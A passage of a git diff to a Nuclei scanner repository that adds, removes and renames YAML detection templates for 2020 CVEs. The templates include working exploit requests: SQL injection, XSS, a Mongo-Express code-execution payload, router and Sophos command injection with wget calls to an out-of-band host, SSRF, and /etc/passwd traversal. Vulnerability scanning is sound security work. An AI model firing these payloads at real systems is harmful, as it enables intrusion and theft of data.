https://jenkins.io/security/advisory/2020-01-29/#SECURITY-1695 + - http://www.openwall.com/lists/oss-security/2020/01/29/1 + - https://nvd.nist.gov/vuln/detail/CVE-2020-2103 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N + cvss-score: 5.4 + cve-id: CVE-2020-2103 + cwe-id: CWE-200 + cpe: cpe:2.3:a:jenkins:jenkins:*:*:*:*:*:*:*:* + epss-score: 0.00535 + metadata: + max-request: 2 + shodan-query: http.favicon.hash:81586312 + tags: cve,cve2020,jenkins + +http: + - raw: + - | + GET {{BaseURL}}/whoAmI/ HTTP/1.1 + Host: {{Hostname}} + + - | + GET {{BaseURL}}/whoAmI/ HTTP/1.1 + Host: {{Hostname}} + + cookie-reuse: true + req-condition: true + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + part: header + words: + - 'text/html' + - 'x-jenkins' + condition: and + case-insensitive: true + + - type: word + part: body_2 + words: + - 'Cookie' + - 'SessionId: null' + condition: and + + extractors: + - type: kval + kval: + - x_jenkins + +# Enhanced by md on 2023/04/04 diff --git a/nuclei-templates/CVE-2020/cve-2020-2140.yaml b/nuclei-templates/CVE-2020/CVE-2020-2140.yaml similarity index 100% rename from nuclei-templates/CVE-2020/cve-2020-2140.yaml rename to nuclei-templates/CVE-2020/CVE-2020-2140.yaml diff --git a/nuclei-templates/CVE-2020/CVE-2020-22209.yaml b/nuclei-templates/CVE-2020/CVE-2020-22209.yaml deleted file mode 100644 index 11b4a0a9a7..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-22209.yaml +++ /dev/null @@ -1,32 +0,0 @@ -id: CVE-2020-22209 -info: - name: 74cms - ajax_common.php SQL Injection - author: ritikchaddha - severity: critical - description: | - SQL Injection in 74cms 3.2.0 via the query parameter to plus/ajax_common.php. - reference: - - https://github.com/blindkey/cve_like/issues/12 - - https://nvd.nist.gov/vuln/detail/CVE-2020-22209 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2020-22210 - cwe-id: CWE-89 - metadata: - fofa-query: app="74cms" - shodan-query: http.html:"74cms" - tags: cve,cve2020,74cms,sqli -variables: - num: "999999999" -requests: - - method: GET - path: - - '{{BaseURL}}/plus/ajax_common.php?act=hotword&query=aa%錦%27%20union%20select%201,md5({{num}}),3%23%27' - matchers: - - type: word - part: body - words: - - '{{md5({{num}})}}' - -# Enhanced by cs on 2022/06/21 diff --git a/nuclei-templates/CVE-2020/CVE-2020-22210.yaml b/nuclei-templates/CVE-2020/CVE-2020-22210.yaml index 64afb3631a..21a2f6aa4e 100644 --- a/nuclei-templates/CVE-2020/CVE-2020-22210.yaml +++ b/nuclei-templates/CVE-2020/CVE-2020-22210.yaml @@ -1,32 +1,23 @@ id: CVE-2020-22210 info: - name: 74cms - ajax_officebuilding.php SQL Injection - author: ritikchaddha - severity: critical - description: | - A SQL injection vulnerability exists in 74cms 3.2.0 via the x parameter to ajax_officebuilding.php. + author: princechaddha + name: 74cms Sql Injection + severity: high + tags: 74cms,sqli + description: A SQL injection vulnerability exists in 74cms 3.2.0 via the x parameter to ajax_officebuilding.php. reference: - - https://github.com/blindkey/cve_like/issues/11 - https://nvd.nist.gov/vuln/detail/CVE-2020-22210 + - https://github.com/blindkey/cve_like/issues/11 classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 cve-id: CVE-2020-22210 - cwe-id: CWE-89 - metadata: - fofa-query: app="74cms" - shodan-query: http.html:"74cms" - tags: cve,cve2020,74cms,sqli -variables: - num: "999999999" requests: - method: GET path: - - '{{BaseURL}}/plus/ajax_officebuilding.php?act=key&key=錦%27%20a<>nd%201=2%20un<>ion%20sel<>ect%201,2,3,md5({{num}}),5,6,7,8,9%23' + - '{{BaseURL}}/index.php?m=&c=AjaxPersonal&a=company_focus&company_id[0]=match&company_id[1][0]=test") and extractvalue(1,concat(0x7e,md5(1234567890))) -- a' matchers: - type: word - part: body words: - - '{{md5({{num}})}}' + - "e807f1fcf82d132f9bb018ca6738a19f" + part: body -# Enhanced by cs on 2022/06/21 +# Enhanced by mp on 2022/03/02 diff --git a/nuclei-templates/CVE-2020/cve-2020-23015.yaml b/nuclei-templates/CVE-2020/CVE-2020-23015.yaml similarity index 100% rename from nuclei-templates/CVE-2020/cve-2020-23015.yaml rename to nuclei-templates/CVE-2020/CVE-2020-23015.yaml diff --git a/nuclei-templates/CVE-2020/CVE-2020-24148.yaml b/nuclei-templates/CVE-2020/CVE-2020-24148.yaml deleted file mode 100644 index 15da98a978..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-24148.yaml +++ /dev/null @@ -1,30 +0,0 @@ -id: CVE-2020-24148 - -info: - name: Import XML & RSS Feeds WordPress Plugin <= 2.0.1 Server-Side Request Forgery - author: dwisiswant0 - severity: critical - reference: - - https://github.com/dwisiswant0/CVE-2020-24148 - - https://wordpress.org/plugins/import-xml-feed/#developers - - https://nvd.nist.gov/vuln/detail/CVE-2020-24148 - description: "WordPress plugin Import XML and RSS Feeds (import-xml-feed) plugin 2.0.1 contains a server-side request forgery (SSRF) vulnerability via the data parameter in a moove_read_xml action." - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H - cvss-score: 9.10 - cve-id: CVE-2020-24148 - cwe-id: CWE-918 - tags: cve,cve2020,wordpress,wp-plugin,ssrf - -requests: - - method: POST - path: - - "{{BaseURL}}/wp-admin/admin-ajax.php?action=moove_read_xml" - body: "type=url&data=http%3A%2F%2F{{interactsh-url}}%2F&xmlaction=preview&node=0" - matchers: - - type: word - part: interactsh_protocol # Confirms the HTTP Interaction - words: - - "http" - -# Enhanced by mp on 2022/03/27 diff --git a/nuclei-templates/CVE-2020/CVE-2020-24223.yaml b/nuclei-templates/CVE-2020/CVE-2020-24223.yaml deleted file mode 100644 index 99953c9cf9..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-24223.yaml +++ /dev/null @@ -1,38 +0,0 @@ -id: CVE-2020-24223 - -info: - name: Mara CMS 7.5 - Cross-Site Scripting - author: pikpikcu - severity: medium - description: Mara CMS 7.5 allows reflected cross-site scripting in contact.php via the theme or pagetheme parameters. - reference: - - https://www.exploit-db.com/exploits/48777 - - https://sourceforge.net/projects/maracms/ - - https://sourceforge.net/projects/maracms/files/MaraCMS75.zip/download - - https://nvd.nist.gov/vuln/detail/CVE-2020-24223 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2020-24223 - cwe-id: CWE-79 - tags: cve,cve2020,mara,xss - -requests: - - method: GET - path: - - '{{BaseURL}}/contact.php?theme=tes%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E' - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - words: - - '">' - part: body - - type: word - words: - - "text/html" - part: header - -# Enhanced by mp on 2022/05/04 diff --git a/nuclei-templates/CVE-2020/CVE-2020-24312.yaml b/nuclei-templates/CVE-2020/CVE-2020-24312.yaml index 0a816f673c..03dd46b58d 100644 --- a/nuclei-templates/CVE-2020/CVE-2020-24312.yaml +++ b/nuclei-templates/CVE-2020/CVE-2020-24312.yaml @@ -1,4 +1,5 @@ id: cve-2020-24312 + info: name: WordPress Plugin File Manager (wp-file-manager) Backup Disclosure author: x1m_martijn @@ -7,9 +8,11 @@ info: mndpsingh287 WP File Manager v6.4 and lower fails to restrict external access to the fm_backups directory with a .htaccess file. This results in the ability for unauthenticated users to browse and download any site backups, which sometimes include full database backups, that the plugin has taken. reference: https://zeroaptitude.com/zerodetail/wordpress-plugin-bug-hunting-part-1/ tags: cve,cve2020,wordpress,backups + # NIST: https://nvd.nist.gov/vuln/detail/CVE-2020-24312 # Source: https://zeroaptitude.com/zerodetail/wordpress-plugin-bug-hunting-part-1/ # Note: Manually check content + requests: - method: GET path: @@ -19,6 +22,7 @@ requests: - type: status status: - 200 + - type: word words: - "Index of" diff --git a/nuclei-templates/CVE-2020/CVE-2020-24391.yaml b/nuclei-templates/CVE-2020/CVE-2020-24391.yaml deleted file mode 100644 index 8d737c98d5..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-24391.yaml +++ /dev/null @@ -1,54 +0,0 @@ -id: CVE-2020-24391 - -info: - name: Mongo-Express - Remote Code Execution - author: leovalcante - severity: critical - description: Mongo-Express before 1.0.0 is susceptible to remote code execution because it uses safer-eval to validate user supplied javascript. Unfortunately safer-eval sandboxing capabilities are easily bypassed leading to remote code execution in the context of the node server. - reference: - - https://securitylab.github.com/advisories/GHSL-2020-131-mongo-express/ - - https://github.com/mongo-express/mongo-express/commit/3a26b079e7821e0e209c3ee0cc2ae15ad467b91a - - https://nvd.nist.gov/vuln/detail/CVE-2020-24391 - - https://github.com/mongodb-js/query-parser/issues/16 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2020-24391 - tags: cve,cve2020,mongo,express,rce,intrusive - -requests: - - raw: - - | - GET / HTTP/1.1 - Host: {{Hostname}} - - - | - POST /checkValid HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - document=++++++++++++%28%28%29+%3D%3E+%7B%0A++++++++const+process+%3D+clearImmediate.constructor%28%22return+process%3B%22%29%28%29%3B%0A++++++++const+result+%3D+process.mainModule.require%28%22child_process%22%29.execSync%28%22id+%3E+build%2Fcss%2F{{randstr}}.css%22%29%3B%0A++++++++console.log%28%22Result%3A+%22+%2B+result%29%3B%0A++++++++return+true%3B%0A++++%7D%29%28%29++++++++ - - - | - GET /public/css/{{randstr}}.css HTTP/1.1 - Host: {{Hostname}} - - req-condition: true - cookie-reuse: true - matchers-condition: and - matchers: - - type: regex - part: body_3 - regex: - - "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)" - - - type: status - status: - - 200 - - extractors: - - type: regex - regex: - - "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)" - -# Enhanced by mp on 2022/03/27 diff --git a/nuclei-templates/CVE-2020/CVE-2020-24579.yaml b/nuclei-templates/CVE-2020/CVE-2020-24579.yaml deleted file mode 100644 index 59e567cfe4..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-24579.yaml +++ /dev/null @@ -1,48 +0,0 @@ -id: CVE-2020-24579 - -info: - name: D-Link DSL 2888a - Authentication Bypass/Remote Command Execution - author: pikpikcu - severity: high - description: D-Link DSL-2888A devices with firmware prior to AU_2.31_V1.1.47ae55 are vulnerable to authentication bypass issues which can lead to remote command execution. An unauthenticated attacker could bypass authentication to access authenticated pages and functionality. - reference: - - https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/d-link-multiple-security-vulnerabilities-leading-to-rce/ - - https://www.trustwave.com/en-us/resources/security-resources/security-advisories/ - - https://nvd.nist.gov/vuln/detail/CVE-2020-24579 - classification: - cvss-metrics: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 8.8 - cve-id: CVE-2020-24579 - cwe-id: CWE-287 - epss-score: 0.00215 - tags: cve,cve2020,dlink,rce - metadata: - max-request: 2 - -http: - - raw: - - | # Response:Location: /page/login/login_fail.html - POST / HTTP/1.1 - Host: {{Hostname}} - Cookie: uid=6gPjT2ipmNz - - username=admin&password=6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b - - - | # Get /etc/passwd - GET /cgi-bin/execute_cmd.cgi?timestamp=1589333279490&cmd=cat%20/etc/passwd HTTP/1.1 - Host: {{Hostname}} - Cookie: uid=6gPjT2ipmNz - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: regex - regex: - - "nobody:[x*]:65534:65534" - - "root:.*:0:0:" - condition: or - -# Enhanced by mp on 2022/07/13 diff --git a/nuclei-templates/CVE-2020/CVE-2020-24912.yaml b/nuclei-templates/CVE-2020/CVE-2020-24912.yaml new file mode 100644 index 0000000000..c424e27dbc --- /dev/null +++ b/nuclei-templates/CVE-2020/CVE-2020-24912.yaml @@ -0,0 +1,47 @@ +id: CVE-2020-24912 + +info: + name: QCube Cross-Site-Scripting + author: pikpikcu + severity: medium + description: A reflected cross-site scripting vulnerability in qcubed (all versions including 3.1.1) in profile.php via the stQuery-parameter allows unauthenticated attackers to steal sessions of authenticated users. + reference: + - https://www.ait.ac.at/themen/cyber-security/pentesting/security-advisories/ait-sa-20210215-03 + - https://github.com/qcubed/qcubed/pull/1320/files + - https://nvd.nist.gov/vuln/detail/CVE-2020-24912 + - http://seclists.org/fulldisclosure/2021/Mar/30 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2020-24912 + cwe-id: CWE-79 + cpe: cpe:2.3:a:qcubed:qcubed:*:*:*:*:*:*:*:* + epss-score: 0.00187 + tags: cve,cve2020,qcubed,xss,seclists + metadata: + max-request: 3 + +http: + - method: POST + path: + - "{{BaseURL}}/assets/_core/php/profile.php" + - "{{BaseURL}}/assets/php/profile.php" + - "{{BaseURL}}/vendor/qcubed/qcubed/assets/php/profile.php" + headers: + Content-Type: application/x-www-form-urlencoded + body: "intDatabaseIndex=1&StrReferrer=somethinxg&strProfileData=YToxOntpOjA7YTozOntzOjEyOiJvYmpCYWNrdHJhY2UiO2E6MTp7czo0OiJhcmdzIjthOjE6e2k6MDtzOjM6IlBXTiI7fX1zOjg6InN0clF1ZXJ5IjtzOjExMjoic2VsZWN0IHZlcnNpb24oKTsgc2VsZWN0IGNvbnZlcnRfZnJvbShkZWNvZGUoJCRQSE5qY21sd2RENWhiR1Z5ZENnbmVITnpKeWs4TDNOamNtbHdkRDRLJCQsJCRiYXNlNjQkJCksJCR1dGYtOCQkKSI7czoxMToiZGJsVGltZUluZm8iO3M6MToiMSI7fX0K=" + + matchers-condition: and + matchers: + + - type: word + words: + - "" + part: body + + - type: word + words: + - 'Content-Type: text/html' + part: header + +# Enhanced by mp on 2022/03/24 diff --git a/nuclei-templates/CVE-2020/CVE-2020-25223.yaml b/nuclei-templates/CVE-2020/CVE-2020-25223.yaml deleted file mode 100644 index b8f310742c..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-25223.yaml +++ /dev/null @@ -1,45 +0,0 @@ -id: CVE-2020-25223 - -info: - name: Sophos UTM Preauth Remote Code Execution - author: gy741 - severity: critical - description: Sophos SG UTMA WebAdmin is susceptible to a remote code execution vulnerability in versions before v9.705 MR5, v9.607 MR7, and v9.511 MR11. - reference: - - https://www.atredis.com/blog/2021/8/18/sophos-utm-cve-2020-25223 - - https://community.sophos.com/b/security-blog/posts/advisory-resolved-rce-in-sg-utm-webadmin-cve-2020-25223 - - https://nvd.nist.gov/vuln/detail/CVE-2020-25223 - - https://community.sophos.com/b/security-blog - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2020-25223 - tags: cve,cve2020,sophos,rce,oast,unauth - -requests: - - raw: - - | - POST /var HTTP/1.1 - Host: {{Hostname}} - Accept: text/javascript, text/html, application/xml, text/xml, */* - Accept-Language: en-US,en;q=0.5 - Accept-Encoding: gzip, deflate - X-Requested-With: XMLHttpRequest - X-Prototype-Version: 1.5.1.1 - Content-Type: application/json; charset=UTF-8 - Origin: {{BaseURL}} - Connection: close - Referer: {{BaseURL}} - Sec-Fetch-Dest: empty - Sec-Fetch-Mode: cors - Sec-Fetch-Site: same-origin - - {"objs": [{"FID": "init"}], "SID": "|wget http://{{interactsh-url}}|", "browser": "gecko_linux", "backend_version": -1, "loc": "", "_cookie": null, "wdebug": 0, "RID": "1629210675639_0.5000855117488202", "current_uuid": "", "ipv6": true} - - matchers: - - type: word - part: interactsh_protocol # Confirms the HTTP Interaction - words: - - "http" - -# Enhanced by mp on 2022/03/27 diff --git a/nuclei-templates/CVE-2020/cve-2020-25495.yaml b/nuclei-templates/CVE-2020/CVE-2020-25495.yaml similarity index 100% rename from nuclei-templates/CVE-2020/cve-2020-25495.yaml rename to nuclei-templates/CVE-2020/CVE-2020-25495.yaml diff --git a/nuclei-templates/CVE-2020/CVE-2020-2551.yaml b/nuclei-templates/CVE-2020/CVE-2020-2551.yaml deleted file mode 100644 index ae867a74b6..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-2551.yaml +++ /dev/null @@ -1,48 +0,0 @@ -id: CVE-2020-2551 - -info: - name: Oracle WebLogic Server - Remote Code Execution - author: dwisiswant0 - severity: critical - description: | - Oracle WebLogic Server (Oracle Fusion Middleware (component: WLS Core Components) is susceptible to a remote code execution vulnerability. Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 2.2.1.3.0 and 12.2.1.4.0. This easily exploitable vulnerability could allow unauthenticated attackers with network access via IIOP to compromise Oracle WebLogic Server. - reference: - - https://github.com/hktalent/CVE-2020-2551 - - https://nvd.nist.gov/vuln/detail/CVE-2020-2551 - - https://www.oracle.com/security-alerts/cpujan2020.html - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2020-2551 - cpe: cpe:2.3:a:oracle:weblogic_server:*:*:*:*:*:*:*:* - epss-score: 0.97281 - tags: cve,cve2020,oracle,weblogic,rce,unauth - metadata: - max-request: 1 - -http: - - method: GET - path: - - "{{BaseURL}}/console/login/LoginForm.jsp" - - matchers-condition: and - matchers: - - type: word - words: - - "10.3.6.0" - - "12.1.3.0" - - "12.2.1.3" - - "12.2.1.4" - condition: or - part: body - - - type: word - words: - - "WebLogic" - part: body - - - type: status - status: - - 200 - -# Enhanced by mp on 2022/03/25 diff --git a/nuclei-templates/CVE-2020/CVE-2020-25540.yaml b/nuclei-templates/CVE-2020/CVE-2020-25540.yaml new file mode 100644 index 0000000000..09ea481ed3 --- /dev/null +++ b/nuclei-templates/CVE-2020/CVE-2020-25540.yaml @@ -0,0 +1,32 @@ +id: CVE-2020-25540 + +info: + name: ThinkAdmin 6 - Arbitrarily File Read (CVE-2020-25540) + author: geeknik + severity: high + description: ThinkAdmin v6 is affected by a directory traversal vulnerability. An unauthorized attacker can read arbitrary files on a remote server via GET request encode parameter. + reference: + - https://www.exploit-db.com/exploits/48812 + - https://github.com/zoujingli/ThinkAdmin/issues/244 + - https://wtfsec.org/posts/thinkadmin-v6-%E5%88%97%E7%9B%AE%E5%BD%95-%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96/ + - http://packetstormsecurity.com/files/159177/ThinkAdmin-6-Arbitrary-File-Read.html + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2020-25540 + cwe-id: CWE-22 + tags: cve,cve2020,thinkadmin,lfi + +requests: + - method: GET + path: + - '{{BaseURL}}/admin.html?s=admin/api.Update/get/encode/34392q302x2r1b37382p382x2r1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b2t382r1b342p37373b2s' + + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: regex + regex: + - "root:.*:0:0:" diff --git a/nuclei-templates/CVE-2020/CVE-2020-25864.yaml b/nuclei-templates/CVE-2020/CVE-2020-25864.yaml deleted file mode 100644 index 03edd0be81..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-25864.yaml +++ /dev/null @@ -1,58 +0,0 @@ -id: CVE-2020-25864 - -info: - name: HashiCorp Consul/Consul Enterprise <=1.9.4 - Cross-Site Scripting - author: c-sh0 - severity: medium - description: | - HashiCorp Consul and Consul Enterprise up to version 1.9.4 are vulnerable to cross-site scripting via the key-value (KV) raw mode. - remediation: Fixed in 1.9.5, 1.8.10 and 1.7.14. - reference: - - https://discuss.hashicorp.com/t/hcsec-2021-07-consul-api-kv-endpoint-vulnerable-to-cross-site-scripting/23368 - - https://www.hashicorp.com/blog/category/consul - - https://nvd.nist.gov/vuln/detail/CVE-2020-25864 - - https://security.gentoo.org/glsa/202208-09 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2020-25864 - cwe-id: CWE-79 - epss-score: 0.00233 - epss-percentile: 0.61248 - cpe: cpe:2.3:a:hashicorp:consul:*:*:*:*:-:*:*:* - metadata: - max-request: 2 - vendor: hashicorp - product: consul - tags: cve,cve2020,consul,xss,intrusive - -http: - - raw: - - | - PUT {{BaseURL}}/v1/kv/{{randstr}} HTTP/1.1 - Host: {{Hostname}} - - - - | - GET {{BaseURL}}/v1/kv/{{randstr}}%3Fraw HTTP/1.1 - Host: {{Hostname}} - - req-condition: true - - matchers-condition: and - matchers: - - type: word - part: header - words: - - text/html - - - type: word - part: body_2 - words: - - - - - type: status - status: - - 200 - -# digest: 4b0a00483046022100d0ab52623fca6424b41ec86c355d721a6ce09d1429070278c87b76ec33dba84f0221008f23122ed47b68e036bc6722e13ce1528c1fd4a27b9f636ef9963252bc4f6102:922c64590222798bb761d5b6d8e72950 diff --git a/nuclei-templates/CVE-2020/CVE-2020-26413.yaml b/nuclei-templates/CVE-2020/CVE-2020-26413.yaml new file mode 100644 index 0000000000..c7b27a83a0 --- /dev/null +++ b/nuclei-templates/CVE-2020/CVE-2020-26413.yaml @@ -0,0 +1,57 @@ +id: CVE-2020-26413 + +info: + name: Gitlab CE/EE 13.4 - 13.6.2 - Information Disclosure + author: _0xf4n9x_,pikpikcu + severity: medium + description: GitLab CE and EE 13.4 through 13.6.2 is susceptible to Information disclosure via GraphQL. User email is visible. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. + reference: + - https://gitlab.com/gitlab-org/gitlab/-/issues/244275 + - https://gitlab.com/gitlab-org/cves/-/blob/master/2020/CVE-2020-26413.json + - https://nvd.nist.gov/vuln/detail/CVE-2020-26413 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N + cvss-score: 5.3 + cve-id: CVE-2020-26413 + cwe-id: CWE-200 + cpe: cpe:2.3:a:gitlab:gitlab:*:*:*:*:*:*:*:* + epss-score: 0.70208 + metadata: + max-request: 1 + shodan-query: http.title:"GitLab" + tags: cve,cve2020,gitlab,exposure,enum,graphql + +http: + - raw: + - | + POST /api/graphql HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/json + + { + "query": "{\nusers {\nedges {\n node {\n username\n email\n avatarUrl\n status {\n emoji\n message\n messageHtml\n }\n }\n }\n }\n }", + "variables": null, + "operationName": null + } + + matchers-condition: and + matchers: + - type: word + part: body + words: + - '"username":' + - '"avatarUrl":' + - '"node":' + condition: and + + - type: status + status: + - 200 + + extractors: + - type: json + part: body + json: + - '.data.users.edges[].node.email' + +# Enhanced by md on 2023/02/01 diff --git a/nuclei-templates/CVE-2020/CVE-2020-26919.yaml b/nuclei-templates/CVE-2020/CVE-2020-26919.yaml deleted file mode 100644 index f508f3f8b9..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-26919.yaml +++ /dev/null @@ -1,37 +0,0 @@ -id: CVE-2020-26919 - -info: - name: NETGEAR ProSAFE Plus - Unauthenticated Remote Code Execution - author: gy741 - severity: critical - description: NETGEAR ProSAFE Plus before 2.6.0.43 is susceptible to unauthenticated remote code execution. Any HTML page is allowed as a valid endpoint to submit POST requests, allowing debug action via the submitId and debugCmd parameters. The problem is publicly exposed in the login.html webpage, which has to be publicly available to perform login requests but does not implement any restriction for executing debug actions. This will allow attackers to execute system commands. - reference: - - https://research.nccgroup.com/2021/03/08/technical-advisory-multiple-vulnerabilities-in-netgear-prosafe-plus-jgs516pe-gs116ev2-switches/ - - https://unit42.paloaltonetworks.com/mirai-variant-iot-vulnerabilities/ - - https://nvd.nist.gov/vuln/detail/CVE-2020-26919 - - https://kb.netgear.com/000062334/Security-Advisory-for-Missing-Function-Level-Access-Control-on-JGS516PE-PSV-2020-0377 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2020-26919 - epss-score: 0.974 - tags: cve,cve2020,netgear,rce,oast,router,unauth,kev - metadata: - max-request: 1 - -http: - - raw: - - | - POST /login.htm HTTP/1.1 - Host: {{Hostname}} - Accept: */* - - submitId=debug&debugCmd=wget+http://{{interactsh-url}}&submitEnd= - - matchers: - - type: word - part: interactsh_protocol # Confirms the HTTP Interaction - words: - - "http" - -# Enhanced by mp on 2022/03/27 diff --git a/nuclei-templates/CVE-2020/CVE-2020-26948.yaml b/nuclei-templates/CVE-2020/CVE-2020-26948.yaml deleted file mode 100644 index 92f064b05e..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-26948.yaml +++ /dev/null @@ -1,41 +0,0 @@ -id: CVE-2020-26948 - -info: - name: Emby Server Server-Side Request Forgery - author: dwisiswant0 - severity: critical - description: Emby Server before 4.5.0 allows server-side request forgery (SSRF) via the Items/RemoteSearch/Image ImageURL parameter. - reference: - - https://github.com/btnz-k/emby_ssrf - - https://nvd.nist.gov/vuln/detail/CVE-2020-26948 - - https://github.com/btnz-k/emby_ssrf/blob/master/emby_scan.rb - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2020-26948 - cwe-id: CWE-918 - cpe: cpe:2.3:a:emby:emby:*:*:*:*:*:*:*:* - epss-score: 0.0284 - tags: cve,cve2020,emby,jellyfin,ssrf - metadata: - max-request: 1 - -http: - - method: GET - path: - - "{{BaseURL}}/Items/RemoteSearch/Image?ProviderName=TheMovieDB&ImageURL=http://notburpcollaborator.net" - matchers-condition: and - matchers: - - type: status - status: - - 500 - - type: word - words: - - "Name or service not known" - part: body - - type: word - words: - - "text/plain" - part: header - -# Enhanced by mp on 2022/03/27 diff --git a/nuclei-templates/CVE-2020/CVE-2020-27191.yaml b/nuclei-templates/CVE-2020/CVE-2020-27191.yaml new file mode 100644 index 0000000000..27d923704b --- /dev/null +++ b/nuclei-templates/CVE-2020/CVE-2020-27191.yaml @@ -0,0 +1,45 @@ +id: CVE-2020-27191 + +info: + name: LionWiki <3.2.12 - Local File Inclusion + author: 0x_Akoko + severity: high + description: LionWiki before 3.2.12 allows an unauthenticated user to read files as the web server user via crafted strings in the index.php f1 variable, aka local file inclusion. + impact: | + An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data. + remediation: | + Upgrade LionWiki to version 3.2.12 or later to mitigate the LFI vulnerability. + reference: + - https://www.junebug.site/blog/cve-2020-27191-lionwiki-3-2-11-lfi + - http://lionwiki.0o.cz/index.php?page=Main+page + - https://nvd.nist.gov/vuln/detail/CVE-2020-27191 + - https://github.com/ARPSyndicate/kenzer-templates + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2020-27191 + cwe-id: CWE-22 + epss-score: 0.01572 + epss-percentile: 0.86986 + cpe: cpe:2.3:a:lionwiki:lionwiki:*:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: lionwiki + product: lionwiki + tags: cve2020,cve,lionwiki,lfi,oss + +http: + - method: GET + path: + - "{{BaseURL}}/index.php?page=&action=edit&f1=.//./\\.//./\\.//./\\.//./\\.//./\\.//./etc/passwd&restore=1" + + matchers-condition: and + matchers: + - type: regex + regex: + - "root:[x*]:0:0:" + + - type: status + status: + - 200 +# digest: 480a00453043022024fd9eabd5990697a1c0d513e268964dba7e4032104e676f2c1516f0d7bf1e6c021f01979b841bd595af2324f5a4beea443729213ab4e816a2f27b4f681dfe71ac:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2020/cve-2020-27361.yaml b/nuclei-templates/CVE-2020/CVE-2020-27361.yaml similarity index 100% rename from nuclei-templates/CVE-2020/cve-2020-27361.yaml rename to nuclei-templates/CVE-2020/CVE-2020-27361.yaml diff --git a/nuclei-templates/CVE-2020/CVE-2020-27467.yaml b/nuclei-templates/CVE-2020/CVE-2020-27467.yaml deleted file mode 100644 index e6cea59742..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-27467.yaml +++ /dev/null @@ -1,46 +0,0 @@ -id: CVE-2020-27467 - -info: - name: Processwire CMS <2.7.1 - Local File Inclusion - author: 0x_Akoko - severity: high - description: Processwire CMS prior to 2.7.1 is vulnerable to local file inclusion because it allows a remote attacker to retrieve sensitive files via the download parameter to index.php. - impact: | - An attacker can exploit this vulnerability to read sensitive files, execute arbitrary code, or gain unauthorized access to the system. - remediation: | - Upgrade Processwire CMS to version 2.7.1 or later to fix the Local File Inclusion vulnerability. - reference: - - https://github.com/Y1LD1R1M-1337/LFI-ProcessWire - - https://processwire.com/ - - https://github.com/ceng-yildirim/LFI-processwire - - https://nvd.nist.gov/vuln/detail/CVE-2020-27467 - - https://github.com/ARPSyndicate/cvemon - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2020-27467 - cwe-id: CWE-22 - epss-score: 0.01056 - epss-percentile: 0.83739 - cpe: 